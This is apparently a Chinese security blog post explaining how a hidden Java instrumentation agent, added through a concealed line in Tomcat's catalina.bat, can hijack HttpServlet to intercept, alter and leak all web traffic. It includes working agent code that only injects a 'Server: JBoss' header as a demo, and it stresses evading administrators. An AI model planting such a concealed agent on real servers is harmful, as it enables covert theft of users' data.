本文讲述的是Java Web本地提权以及数据劫持思路,旨在服务社会,供安全研究人员学习使用,请勿用于其他非法用途,违者后果自负。
最近偶然接触到一个Java的不常用的特性:instrument。简单来说,这个特性允许你在程序运行之前改变任意类文件的字节码。简单的instrument例子大家可以百度,相当多。而在运行Java程序的时候,只需要加上一个选项即可运行写好的instrument jar包,如:java -javaagent:agent.jar -jar helloworld.jar。
那么回到这次的主题,如何在tomcat中利用这个特性做到提权和劫持数据呢?
提权的思路其实可能有些小伙伴已经想到了。就是根据这个特性写一个Java程序,打包成jar(比如agent.jar),然后放到tomcat的lib里或者其他地方,然后在catalina.bat中找个隐蔽的地方加上如下一行:
set CATALINA_OPTS=%CATALINA_OPTS% -javaagent:绝对路径\agent.jar=参数
当管理员启动tomcat的时候就会执行agent里的Java代码了。
当然,这么做需要能上传文件以及对catalina.bat有写权限。
其实当你能登录服务器或者有shell的时候,已经可以做很多事了。提权可能根本不需要通过tomcat这种途径。
那么是否还能做点别的呢?
根据这个特性,其实还可以拦截所有http请求的数据。
据本人所知,所有Java web项目里的请求处理类都继承了HttpServlet这个抽象类,包括Spring。所以你只要通过这个特性,修改HttpServlet的代码就可以获取和改动所有request和response的头以及数据,要把数据发走也不是问题,加个URLconnection的处理就行。以下给一个简单的示例,
项目截图:
Transformer类,功能相当于把Java代码插入了HttpServlet中。几乎可插入任意变量和方法,但有些写法上稍微与一般的java不一样,且尽量使用core java:
package org.xf.agent;import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
public class ServletTransformer implements ClassFileTransformer{
@Override
public byte[] transform(ClassLoader loader, String className,Class classBeingRedefined, ProtectionDomain protectionDomain,byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.equals("javax/servlet/http/HttpServlet")){
return transformClass(classfileBuffer);
}
return classfileBuffer;
}
private byte[] transformClass(byte[] classfileBuffer) {
try {
ClassPool cp = ClassPool.getDefault();
CtClass cc = cp.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod[] ms = cc.getDeclaredMethods();
for(CtMethod method: ms)
{
//只改动service方法就够了
if(method.getName().equals("service")&&Modifier.toString(method.getModifiers()).equals("protected"))
{
method.insertAfter("resp.setHeader(\"Server\",\"JBoss\");");
}
}
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
return null;
}
}
}
Agent类:
package org.xf.agent;
import java.lang.instrument.Instrumentation;
public class ServletAgent {
public static void premain(String agentArguments, Instrumentation instrumentation) {
instrumentation.addTransformer(new ServletTransformer());
}
}
导出为可执行Jar,用7z编辑Jar包里的MANIFEST.MF文件,加上一行:
premain-Class: org.xf.agent.ServletAgent
样本如下图所示:
然后随便建个Web项目,servlet代码如下:
@WebServlet("/Basic")public class Basic extends HttpServlet {
private static final long serialVersionUID = 1L;
/**
* @see HttpServlet#HttpServlet()
*/
public Basic() {
super();
// TODO Auto-generated constructor stub
}
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
*/
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().print("Hello");
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().print("Hello");
}
}
别忘了在tomcat的catalina.bat中加入那一行,建议使用绝对路径,然后下面是运行效果,可以看到响应头中出现了Server: JBoss。
这样做的隐蔽性很好,因为几乎不会有管理员去检查lib里的jar是不是多了一个,catalina的配置更是几百年都不一定检查一次。而无论项目war包如何换,都不影响这个隐藏jar包的。基本只要这个程序不导致什么重大的性能问题,就很难被发现。并且由于这个方法是从内部修改程序,HTTPS加密的内容也可以修改和盗取。